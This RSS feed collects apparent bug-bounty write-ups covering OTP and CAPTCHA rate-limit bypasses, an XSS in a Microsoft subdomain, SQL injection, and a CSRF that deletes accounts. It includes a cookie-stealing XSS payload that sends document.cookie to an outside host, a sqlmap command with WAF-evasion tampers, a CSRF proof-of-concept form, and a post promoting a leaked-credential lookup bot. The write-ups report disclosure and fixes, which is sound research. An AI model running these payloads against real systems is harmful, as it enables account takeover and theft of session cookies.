<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anonymousshetty on Medium]]></title>
        <description><![CDATA[Stories by Anonymousshetty on Medium]]></description>
        <link>https://medium.com/@anonymousshetty2003?source=rss-6f43a2a57c93------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*tz7N9JEydryL4ewIGbAw7A.jpeg</url>
            <title>Stories by Anonymousshetty on Medium</title>
            <link>https://medium.com/@anonymousshetty2003?source=rss-6f43a2a57c93------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 09:27:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anonymousshetty2003/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I could Takeover any Account by Bypassing OTP Rate Limits]]></title>
            <link>https://medium.com/@anonymousshetty2003/how-i-could-takeover-any-account-by-bypassing-otp-rate-limits-1155d616d947?source=rss-6f43a2a57c93------2</link>
            <guid isPermaLink="false">https://medium.com/p/1155d616d947</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Anonymousshetty]]></dc:creator>
            <pubDate>Tue, 12 Aug 2025 11:48:53 GMT</pubDate>
            <atom:updated>2025-08-12T11:48:53.257Z</atom:updated>
            <content:encoded><![CDATA[<p>Every penetration tester dreams of finding that one flaw that flips a security model upside down.<br> In my recent assessment, I stumbled upon a surprisingly simple, yet devastating vulnerability in a Single Sign-In OTP flow.</p><p>It wasn’t a 2,000,000$ zero-day.<br>No obscure cryptography trick.<br>Just a misconfigured OTP system, an oversight in rate limiting, and the right sequence of API calls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*a2q6RzU5mZRs9JDUr8_mUg.png" /></figure><blockquote><strong><em>Note:</em></strong><em> I don’t have permission to disclose the company name or sensitive identifiers.<br> I’ll explain the vulnerability in a way that makes sense without revealing those details. Don’t worry about this being an AI created blog with a conceptual vulnerability , this is a real life vulnerability that i have recently found.</em></blockquote><h3>The Login Flow That Looked Secure…</h3><p>The application used a Single Sign-On system for authentication.</p><p>Instead of a password, users entered their email or phone number, and the backend would send them a One-Time Passcode (OTP) via SMS or email.</p><p>On paper, this should be <strong>pretty secure</strong>:</p><ul><li>OTPs expire after a short time.</li><li>Each OTP is unique.</li><li>New OTPs should invalidate old ones.</li><li>Requesting too many OTPs should trigger a rate limit.</li></ul><p>Except… here, it didn’t.</p><h3>Playing With the OTP Request Endpoint</h3><p>While testing, I noticed something odd:<br>When I requested two OTPs, the <strong>previous one did not get invalidated</strong>.</p><p>That was suspicious, but not enough to be exploitable… yet.</p><p>Despite the frontend encrypting request parameters, I could input multiple OTP values during verification — <strong>and there was no rate limit</strong> at that stage.</p><p>When sending OTPs to my email, a rate limit appeared after 5 requests. But in the main login flow, things were different.</p><h3>The Real Shock: All OTPs Worked</h3><p>Here’s where it got interesting:</p><ol><li>I restarted the entire login flow.</li><li>Each session had a unique ticket_id (expiring after ~5–10 mins).</li><li>I duplicated the “Send OTP” request 10–20 times in parallel (for PoC clarity).</li></ol><p>Result:</p><ul><li>Every request returned <strong>HTTP 200 OK</strong>.</li><li>Every request generated a <strong>unique, valid OTP</strong>.</li></ul><p>Testing them:</p><ul><li>First OTP? ✅ Works.</li><li>Last OTP? ✅ Works.</li><li>Random one from the middle? ✅ Works.</li></ul><p>They were <strong>all valid until the global OTP expiry time</strong> (~5 minutes).</p><blockquote><em>⚠ </em><strong><em>Side note for bug hunters:</em></strong><em> Don’t assume one secure OTP endpoint means all OTP endpoints are secure.<br>Here, other OTP-based sections of the site were properly implemented.<br>But this vulnerable endpoint existed </em><strong><em>under a different TLD</em></strong><em> and didn’t share the same protections.<br>Inconsistent implementations are more common than you’d think.</em></blockquote><h3>Why This Is Dangerous</h3><p>If an attacker knows a victim’s phone number or email, they can:</p><ul><li>Initiate a login for the victim.</li><li>Spam the OTP endpoint with multiple requests.</li><li>Collect dozens of valid OTPs.</li><li>Try them one-by-one without fear of invalidation.</li></ul><p>This turns a <strong>1-in-a-million</strong> brute-force guess into a <strong>high-probability</strong> attack.</p><h3>The Math Behind It</h3><p>Here’s what the success probability looks like depending on how many valid OTPs you can collect:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ppo9OMHrcK8aPFVo4DiNDw.png" /></figure><p>With this flaw, an attacker could easily collect <strong>hundreds or thousands of valid codes</strong>.</p><h3>How to Fix It (and Prevent It)</h3><p>This is textbook OTP security hygiene:</p><ol><li><strong>Enforce strict rate limits</strong> e.g., 3 OTP requests per 5 minutes per user/IP.</li><li><strong>Invalidate previous OTPs immediately</strong> when a new one is generated.</li><li><strong>Centralize OTP logic</strong> so all endpoints share the same security checks.</li></ol><h3>Lessons Learned</h3><p>I reported this to the company, and after some back-and-forth, they accepted the vulnerability and patched it quickly. A simple misconfiguration meant anyone with a victim’s login email could bypass authentication entirely.</p><p><em>A proper rate limit would have stopped it. Invalidating old OTPs would have neutralized it.Doing </em><strong><em>both</em></strong><em> would have made the system safe.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1155d616d947" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Chained Rate Limiting to Earn a Spot in Apple’s Hall of Fame]]></title>
            <link>https://medium.com/@anonymousshetty2003/how-i-chained-rate-limiting-to-earn-a-spot-in-apples-hall-of-fame-f78305760462?source=rss-6f43a2a57c93------2</link>
            <guid isPermaLink="false">https://medium.com/p/f78305760462</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Anonymousshetty]]></dc:creator>
            <pubDate>Fri, 08 Aug 2025 11:00:38 GMT</pubDate>
            <atom:updated>2025-08-12T11:51:36.670Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Every bug bounty hunter dreams of landing a spot in a company’s Hall of Fame, and when that company happens to be Apple, the excitement is doubled.</p><p>This is the story of how I discovered and responsibly reported a vulnerability in one of Apple’s endpoints, where a combination of weak rate limiting and improper authentication allowed me to submit support tickets on behalf of other users. Apple fixed the issue quickly, and I earned my place in their Hall of Fame.</p><p>I know the grind many bug hunters go through: long recon sessions, endless testing, and finding nothing. I’ve been there. But after months of consistent recon work and experimenting with new ideas, I finally struck gold.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTkTNV_A2GBdbLnCxx8igQ.png" /></figure><h3>Recon</h3><p>I rely on a mix of tools, scripts, and my own tweaks to find assets worth testing. For this hunt, I pulled subdomains and IPs from sources like Shodan, RapidDNS, GitHub, Subfinder, Sublist3r, Web Archive, and Assetfinder.</p><p>Once I had my list, I dug deeper using FFUF, Altdns, and other fuzzing tools to discover hidden endpoints. I filtered non-essential endpoints with custom scripts and collected more URLs from URLScan, VirusTotal, AlienVault, CommonCrawl, and Web Archive.</p><p>Every time I learn a new recon trick, I build on it with my own ideas and keep detailed notes in Notion. Over time, this makes my testing process faster and more targeted.</p><p><em>One tip: use AI to enhance existing scripts and automate repetitive recon tasks, but keep manual testing at the core.</em></p><h3>Finding the Form</h3><p>On one endpoint, I came across a form that was available only after logging in. Submitting it would create a new support case.</p><p>A sample request looked like this (sanitized): and the body encoding was different😅😅</p><pre>POST /vip/[unique_id] HTTP/1.1<br>Host: [REDACTED].apple.com<br>Cookie: ...<br>Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW<br>X-CSRF-Token: 8f92a4f1b7e94729b1c412e6b29d2e6d<br><br>------WebKitFormBoundary7MA4YWxkTrZu0gW<br>Content-Disposition: form-data; name=&quot;username&quot;<br><br>john_appleseed<br>------WebKitFormBoundary7MA4YWxkTrZu0gW<br>Content-Disposition: form-data; name=&quot;sample_body&quot;<br><br>Sample<br>------WebKitFormBoundary7MA4YWxkTrZu0gW<br>Content-Disposition: form-data; name=&quot;attachments&quot;; filename=&quot;screenshot.jpg&quot;<br>Content-Type: image/jpeg<br><br>&lt;binary data here&gt;<br>------WebKitFormBoundary7MA4YWxkTrZu0gW--</pre><h3>First Signs of a Bug</h3><p>When I changed the username field to something like admin or apple, the server normally returned a 403 Forbidden with “username taken.”</p><p>But in one case, the request went through and returned a unique_id for a new support case, even though the username wasn’t mine.</p><h3>Chaining Rate Limit Bypass</h3><p>At this point, I had confirmed that the form could occasionally accept another user’s username. That was interesting, but I wanted to see if it could be pushed further.</p><p>The idea was simple: if a single request could slip through once, maybe a burst of them could slip through more often.</p><p>I sent the request to <strong>Burp Intruder</strong>, loaded a list of potential usernames, and set the payload type to NULL . Sending requests too quickly would trigger Apple’s WAF and block me, so I experimented with delays and thread counts until I found a sweet spot — fast enough to stress the system, slow enough to avoid detection.</p><p>That’s when it happened.</p><p>The backend started returning <strong>unique support case IDs</strong> for usernames that didn’t belong to me — one after another. Each successful hit meant a new ticket was created in Apple’s support system, as if it came directly from that user.</p><p>It became clear that I was looking at a chain:</p><ol><li><strong>Improper authentication</strong> — the backend trusted the username parameter without verifying the account.</li><li><strong>Weak rate limiting</strong> — when requests were timed just right, the access control checks weren’t applied consistently.</li><li><strong>Privilege misuse</strong> — the combination let me impersonate other users for case creation.</li></ol><p>On its own, either bug might have been low impact. Together, they became a high-integrity vulnerability.</p><h3>Impact</h3><p>An attacker could:</p><ul><li>Open fake support cases on behalf of other customers.</li><li>Flood Apple’s support team with spam or misleading cases.</li><li>Disrupt genuine customer support interactions.</li></ul><p>While no personal data was leaked, the ability to act as another user made this a high-integrity-impact vulnerability.</p><h3>Responsible Disclosure</h3><p>I created a safe proof of concept:</p><ul><li>Used only a few test usernames.</li><li>Sent harmless, fake support case descriptions.</li><li>Collected only the minimum data needed to prove the impact.</li></ul><p>I submitted my report to Apple Security with step-by-step reproduction, Burp Suite logs, and an explanation of the rate limit and improper authentication chain.</p><h3>Apple’s Response</h3><p>Apple confirmed the bug within 48 hours. They fixed it by strengthening rate limiting at the WAF level and enforcing strict authentication and authorization checks before case creation.</p><p>Two months later, I got the response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*nmuTYMnbyJQu3a9qDGk0kA.png" /></figure><h3>Final Words</h3><p>This bug wasn’t about stealing data — it was about trust and control. If you can take actions as someone else, even harmless ones, you’ve broken a core principle of security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f78305760462" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found an XSS Vulnerability in a Microsoft subdomain]]></title>
            <link>https://medium.com/@anonymousshetty2003/how-i-found-an-xss-vulnerability-in-a-microsoft-subdomain-4abf0da5c3e9?source=rss-6f43a2a57c93------2</link>
            <guid isPermaLink="false">https://medium.com/p/4abf0da5c3e9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Anonymousshetty]]></dc:creator>
            <pubDate>Sat, 19 Jul 2025 18:22:47 GMT</pubDate>
            <atom:updated>2025-07-20T18:38:30.944Z</atom:updated>
            <content:encoded><![CDATA[<p>It started out like any other day. In the evening, on my laptop, and the familiar feeling that maybe, just maybe, today I’d find something interesting. As a security researcher, you develop a sixth sense for applications that might be hiding something beneath the surface. There are times when this feeling doesn&#39;t work, but this time, it led me to an unexpected discovery in a Microsoft-owned domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5eeM9RNS33QIbH7_10aQEg.png" /></figure><h3>The Setup: Looking in the Right Places</h3><p>I wasn’t targeting Microsoft . I had been reading a LinkedIn blog about a person who had found a xss bug on Microsoft using custom payload. This was really interesting and a unique use of Javascript, so i tested it on different microsoft subdomains and it didn’t work.</p><p>DAMN!!!</p><p>But, then tried my recon method to find a subdomain that is part of Microsoft and though of testing over there. It had a feature to send a message to the admin.</p><h3>The Suspicion: A Gut Feeling About Input Handling</h3><p>At first glance, it looked like a simple form. But something caught my eye: the form was not implementing proper input sanitation on the subject field.</p><p>Now, u might think that “he must have got to know on the first try”. Well…no. I had sent multiple messages and then checked in the developer console if input was properly sanitized. (IT WAS FOR THE MOST PART)</p><p>But then i used the payload that was present in the linkdeln post, and when i saw the response in the developer console, it had broken out of the normal HTML flow.</p><p>Hmmm.. Next i tried to understand the payload and see what went wrong. Thats when i send a more simpler payload compared to the previous one to then get BLOCKED by WAF.</p><p>(The payload of LinkedIn was made u bypass the WAF which was the result of me seeing the broken HTML in the response.)</p><p>I litreally 50+ payloads and some changes i sent a payload that looked like :</p><pre>&quot;&gt;\\/\/&lt;/div&gt;&lt;a onClick =&quot;top[[&#39;alert&#39;][0]] (&#39;arjun&#39;);&quot;&gt; click me&lt;/a&gt;</pre><p>which gave a response of “click me” and upon clicking it, the payload ran!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ihq5N-8yfxhQ3tcDXWvawg.png" /><figcaption>Stored XSS</figcaption></figure><p><strong>EXPLAINATION OF PAYLOAD:</strong></p><ul><li><em>&#39;alert&#39; is a string</em></li><li><em>&#39;alert&#39;[0] returns </em><em>&#39;a&#39; → so this part looks weird at first</em></li><li><em>But </em><em>[&#39;alert&#39;][0] is actually just </em><em>alert because </em><em>[&#39;alert&#39;] is an array with one string element, and </em><em>[0] selects the first element → </em><em>&#39;alert&#39;</em></li><li><em>So </em><em>top[[&#39;alert&#39;][0]] becomes </em><em>top[&#39;alert&#39;], which is </em><em>top.alert</em></li></ul><h3>Verifying the Vulnerability</h3><p>Next, I crafted a payload that wouldn’t just alert but could also exfiltrate session cookies or CSRF tokens in a real-world scenario. For responsible disclosure purposes, I stuck with a simple yet effective payload:</p><pre>&quot;&gt;\\/\/&lt;/div&gt;&lt;a onClick=&quot;top[[&#39;location&#39;][&#39;href&#39;]]=&#39;//burpcolaborator.com/?c=&#39;+document.cookie&quot;&gt;click me&lt;/a&gt;<br><br>#i tried fetch but it would get block which made no sense as alert was accepted in the above payload</pre><p>Bingo. My Burp Collaborator got a pingback.</p><p>The payload was being executed every time i clicked.</p><h3>Reporting to Microsoft</h3><p>Now came the responsible part. I documented the vulnerability clearly outlining the endpoint, payloads used, impact assessment, and reproduction steps — and reported it via the Microsoft Security Response Center (MSRC).</p><p>A few days later, the team confirmed the issue, categorized it under Stored XSS, and began mitigation steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lxAWxiBAH1RilNm8tafsjw.png" /></figure><h3>The Takeaway</h3><p>Microsoft, despite having world-class security infrastructure, is still a vast ecosystem ,one where even small or forgotten assets can introduce critical vulnerabilities.</p><p>What made this discovery notable wasn’t the complexity of the payload or a zero-day technique. It was patience, attention to detail, and a methodical recon process. These qualities remain at the heart of successful bug hunting.</p><p><strong>NOTE: as of now new assets have been added to Microsoft subdomain list for bug hunters to hack on.</strong></p><h3>Final Thoughts</h3><p>I didn’t just find an XSS. I found it in a place most people overlooked. And that, I believe, is what makes the hunt worthwhile.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4abf0da5c3e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection in hidden Contact Form Parameter]]></title>
            <link>https://medium.com/@anonymousshetty2003/sql-injection-in-hidden-contact-form-parameter-660bd1281491?source=rss-6f43a2a57c93------2</link>
            <guid isPermaLink="false">https://medium.com/p/660bd1281491</guid>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Anonymousshetty]]></dc:creator>
            <pubDate>Wed, 16 Jul 2025 15:13:44 GMT</pubDate>
            <atom:updated>2025-07-19T18:23:12.066Z</atom:updated>
            <content:encoded><![CDATA[<p>During a private bug bounty program, I came across an issue that reinforced one of the most important lessons in web security: never ignore the obvious. The vulnerability wasn’t in a complex API or behind a login panel. It was sitting in a basic contact form — something most developers build and forget.</p><p>This write-up explains how I found a SQL injection vulnerability in a contact form parameter, how I verified it, and why such issues continue to exist even today.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*i-OkSSghC3qgfaAs4CALMw.png" /></figure><p><strong>How It Started</strong></p><p>While testing the private program application, I noticed a standard contact form with the usual fields: name, email, subject, and message. These forms are usually assumed to be low-risk, especially since they’re often unauthenticated and only meant to collect feedback. But I always test every input field, regardless of how routine it seems.</p><p>Out of habit, I filled in each input field and submitted the form. When I did this in the &quot;subject&quot; field, the UI showed a blank page so i checked the request in my BURP. While inspecting i saw a new parameter that was not shown in the UI. So, I entered a single quote (&#39;) in the parameter which gave a MYSQL error.</p><p><strong>Digging Deeper</strong></p><p>To test further, I tried the following value in the subject field:</p><p>test&#39; AND 1=1 (200 OK)</p><p>test&#39; AND 1=2 (200 OK with MYSQL error)</p><p>The response changed. There was no longer a generic error, but rather a shift in how the page behaved. This was a sign that the input was being interpreted in a SQL context.</p><p>(To show impact i used SQLMAP, but u can also use GHAURI:</p><pre>sqlmap -u &quot;https://[REDACTED]/assessment/index.php?p=saveuser&amp;firstname=test&quot; --level=3 --risk=2 --user-agent -v3 --tamper=&quot;between,randomcase,space2comment&quot; --batch<br><br>#p was the vulnerable parameter</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v-7ewLYKpe4azuU402UxtQ.png" /></figure><p><strong>Understanding the Root Cause</strong></p><p>Based on the behavior, the backend was likely inserting the submitted form data directly into a SQL query using string concatenation. The application did not perform server-side input sanitization or use prepared statements for the subject field.</p><p>This is a common mistake. Developers are usually more cautious with login forms, registration inputs, or payment fields. But secondary components like contact forms are often treated as less critical and don’t always receive the same level of security attention.</p><p><strong>What Could Go Wrong</strong></p><p>The immediate risk was that an attacker could manipulate the database query. In this case, the contact form likely stored user submissions in a backend table. A successful SQL injection here could lead to data leakage, full table access, or in some configurations, even remote code execution depending on database permissions.</p><p>Even if the attacker couldn’t extract data immediately, the ability to influence database queries without authentication is serious. In larger systems, such a vulnerability might allow pivoting into more critical areas.</p><p><strong>Reporting the Issue</strong></p><p>I reported the vulnerability through the private platform with detailed steps, the payloads used, and suggested mitigations. The development team responded promptly. They confirmed the issue was caused by raw string insertion in the SQL layer and acknowledged the lack of input validation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*zayg1l99FVZD2M73ObbggQ.png" /></figure><p><strong>Lessons Learned</strong></p><ol><li>Every input field is a potential entry point. Treat contact forms, newsletter signups, and feedback boxes with the same scrutiny as login forms.</li><li>SQL injection remains a threat, especially in places developers might not think to defend.</li><li>Use parameterized queries for all database operations. Never build SQL queries by concatenating user input.</li></ol><p><strong>Conclusion</strong></p><p>If you’re a developer, it’s worth taking a second look at those older forms you haven’t touched in years. And if you’re a researcher, don’t skip the boring inputs — they might be doing more behind the scenes than you think.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=660bd1281491" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How i found CSRF in a subdomain of VISA that lead to deletion of account]]></title>
            <link>https://medium.com/@anonymousshetty2003/csrf-in-a-subdomain-of-visa-leads-to-deletion-of-account-b0b998db1ad7?source=rss-6f43a2a57c93------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0b998db1ad7</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Anonymousshetty]]></dc:creator>
            <pubDate>Wed, 16 Jul 2025 14:43:39 GMT</pubDate>
            <atom:updated>2025-07-19T18:24:12.588Z</atom:updated>
            <content:encoded><![CDATA[<p>When we talk about web vulnerabilities, Cross-Site Request Forgery (CSRF) often gets pushed to the background in favor of flashier bugs like SQL injection or remote code execution. But CSRF, when exploited properly, can be just as damaging — especially when it targets high-impact features like account deletion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JNpmLxup_9NIj6aF.jpg" /></figure><p>This is a short write-up about a real-world CSRF vulnerability I discovered in the delete account functionality of a live web application, and why these types of issues deserve more attention than they usually get.</p><h3>The Vulnerability</h3><p>While testing the web application, I navigated to the account settings and trying all the test cases lead to no luck as proper input sanitization was in place and there was no possible IDOR in sight. Then i saw the delete account button. On clicking it, a POST request was sent to <strong><em>account/api/user-mgmt/user/remove-account endpoint</em></strong>. There was a confirmation prompt and i had to enter my password, but when i saw the request in burp, there was no password param. Also it didn’t have a CSRF token.</p><p>This meant that any authenticated user could be tricked into deleting their own account, simply by loading a malicious page in their browser.</p><blockquote>NOTE: some websites have CSRF token in their cookie, so make sure to check either using the cookie editor extension (<em>show advance</em> option on the specified cookie) to see the samesite attribute. There are also other checks that can be done including:</blockquote><p>1)removing header add sending request</p><p>2)if other methods are used try for CSRF through CORS which again includes different test cases (research for more info)</p><p>3)if text/plain is not accpted try for application/x-www-form-urlencoded and send each key value as a param</p><p>there are other checks which be done but depends on the application that is being tested as different developers have different way of securing endpoints</p><h3>Proof of Concept</h3><p>Here’s the HTML payload I crafted to test the vulnerability:</p><pre>&lt;html&gt;<br>  &lt;body&gt;<br>    &lt;form action=&quot;https://[REDACTED}.visa.[REDACTED]/account/api/user-mgmt/user/remove-account&quot; method=&quot;POST&quot; enctype=&quot;text/plain&quot;&gt;<br>      &lt;input type=&quot;submit&quot; value=&quot;Submit request&quot; /&gt;<br>    &lt;/form&gt;<br>    &lt;script&gt;<br>      history.pushState(&#39;&#39;, &#39;&#39;, &#39;/&#39;);<br>      document.forms[0].submit();<br>    &lt;/script&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>I hosted this page on a test domain. When the victim, already logged into the vulnerable application, visited this page, their account was deleted immediately — no warning, no confirmation, just a silent but complete wipe-out of their data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x3VVz1d-ll9rQtrObjIVtQ.png" /></figure><h3>Why It Matters</h3><p>This may seem like a textbook CSRF issue, but its impact goes beyond a typical “change your email” or “update settings” scenario. Account deletion is irreversible in many platforms. It can lead to loss of data, loss of access to services, and in some cases, complete user lockout.</p><p>What makes it worse is that the user might not even realize what happened. One moment they’re logged in, the next they’re being asked to register again.</p><h3>How It Should Be Fixed</h3><p>The fix is straightforward, but often overlooked:</p><ul><li>Use unique, per-session CSRF tokens on every form or API endpoint that changes state.</li><li>Validate these tokens server-side to ensure the request came from the legitimate user interaction.</li><li>For sensitive actions like deleting an account, require password re-entry or a secondary confirmation step.</li><li>Implement SameSite cookie attributes where possible to limit automatic cross-site requests.</li></ul><p>These are all standard web security practices, but unless implemented consistently, gaps like this can easily be missed.</p><p>Unfortunately i was a bit late and it turned out to be a duplicate.</p><p>I had found CSRF in another website and which was marked as OUT OF SCOPE (vuln: CSRF to turn off notification when a new device logs in) based on their guidelines. But still a impactfull vulnerability</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*Y6-eDYsLVSZjfHbtITaPFw.png" /></figure><h3>Final Thoughts</h3><p>Security isn’t just about preventing major data breaches. Sometimes, protecting a single user from silently losing their account can be just as important.</p><p>If you’re testing a web app, always look at what happens when a user performs destructive actions. And if you’re building one, never assume that a “basic form” doesn’t need proper defenses.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0b998db1ad7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Telegram Bots Can Help You Discover Credentials and User info]]></title>
            <link>https://medium.com/@anonymousshetty2003/how-telegram-bots-can-help-you-discover-credentials-and-user-info-49d36caeb704?source=rss-6f43a2a57c93------2</link>
            <guid isPermaLink="false">https://medium.com/p/49d36caeb704</guid>
            <category><![CDATA[telegram]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[osint]]></category>
            <dc:creator><![CDATA[Anonymousshetty]]></dc:creator>
            <pubDate>Sat, 12 Jul 2025 11:38:26 GMT</pubDate>
            <atom:updated>2025-07-12T12:15:34.086Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Disclaimer:</strong> <em>This was done purely for educational and awareness purposes with consent. Accessing or using data without authorization is illegal and unethical. Use OSINT tools responsibly.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Bmdy58SrhCTgUi6y.jpeg" /></figure><p>Recently, I explored a Telegram resource that allows users to query publicly leaked credentials and personal data through open-source intelligence (OSINT). The tool I used is accessible at:</p><p><a href="https://t.me/HaveIBeenHacked_Bot">Have I Been Hacked</a></p><p>( PS if are not able to access this directly by clicking, then try pasting the link : <a href="https://t.me/HaveIBeenHacked_Bot">https://t.me/HaveIBeenHacked_Bot</a> in your phone browser which will redirect you to the bot )</p><p>Some other prompts to input are:</p><pre>domain.com<br>@domain.com<br>username<br>name<br>phone number<br>email address<br>IP address<br>social media URL<br>and more..</pre><p>By entering basic identifiers the bot returns information from publicly indexed data breaches. I tested it by checking several of my own accounts and a few with permission from close friends.</p><p>Surprisingly, I was able to find over 25 instances of exposed credentials belonging to my circle — some including full names, passwords, and associated services like Dropbox, LinkedIn, and Gmail. A few results even contained phone numbers and addresses from older breach datasets.</p><p><em>I was even able to access one of my friends account and promptly informed him to change all his passwords</em></p><p>This highlights how much personal data is available in the public domain without individuals realizing it. Tools like this serve as a strong reminder of the importance of using unique passwords and enabling two-factor authentication.</p><p><strong>NOTE: If u find you or your close friends or relation details, try to change it to prevent cyber attacks on them.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49d36caeb704" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CAPTCHA Cracked: How I Bypassed Rate Limiting Using a Simple Race Condition]]></title>
            <link>https://medium.com/@anonymousshetty2003/captcha-cracked-how-i-bypassed-rate-limiting-using-a-simple-race-condition-d8b88a2a8c7b?source=rss-6f43a2a57c93------2</link>
            <guid isPermaLink="false">https://medium.com/p/d8b88a2a8c7b</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[race-condition]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Anonymousshetty]]></dc:creator>
            <pubDate>Sat, 31 May 2025 11:46:02 GMT</pubDate>
            <atom:updated>2025-05-31T11:51:39.518Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*4Gwm5_WEK_ls8yiHPlvpdw.png" /></figure><p>**make sure proper authorization and permissions are taken before you perform testing on any websites. U can also visit their security page for more info**</p><h3>Turning a Secure Form into a Spam Gateway with Parallel Requests</h3><p>This was one of those “just testing something random” moments. I was looking at famous bug bounty hosting website’s contact form, which had a basic CAPTCHA in place to prevent spam. This website was using a third party. Every time you submitted the form, a CAPTCHA prompt appeared, and only one submission per minute was allowed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*L1VpzJQ63J5VuVtyiCg9ww.png" /><figcaption>it may look like its the scope of hackerone. BUT NO, hackerone just uses this thrid party</figcaption></figure><p>I thought, <em>“Alright, seems safe… but what if the server can’t handle being hit from multiple angles at once?”</em></p><p>Turns out — it couldn’t.</p><h3><strong>POC</strong></h3><p>So i entered the details in the form and filled in the CAPTCHA. When sending the request i had captured it using burp and sent it to the Repeater.</p><p><em>U may ask, “Y i didn’t u use the intruder to send a large number of request?”. Well, i had tried that and mement the 2nd request was sent: i gave a 500 status code error</em></p><p>Lets Continue, i then create a group and duplicated the request 5 times (an attacker can do any number cause there is no restriction). Then i sent the request together in parallel. After this i viewed each request that was sent to see the response. AND.. each request gave a 201 created along with a unique ID for each.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FddULf-DafoLdoTPQhzHsA.png" /></figure><p>If u are well versed in python, u could even create a script for this.</p><h3>Why This Worked</h3><p>This is a <strong>race condition vulnerability</strong> combined with poor CAPTCHA implementation. Race conditions often occur when <strong>multiple operations are performed simultaneously</strong>, and the system doesn’t handle concurrency properly.</p><h3>Impact</h3><p>While this wasn’t a direct security breach like XSS or SQLi, it had <strong>serious abuse potential</strong>:</p><ul><li>Spammers could flood the form</li><li>Fake registrations and database pollution</li><li>Reputation damage if bots used it to harass site admins</li></ul><h3>Remediation and Recommendations</h3><p>Here’s how to patch this kind of issue effectively:</p><h4>1. Invalidate CAPTCHA Tokens Immediately</h4><p>Once used, the CAPTCHA token should be <strong>blacklisted or destroyed</strong> — even in concurrent requests.</p><h4>2. Apply Real-Time 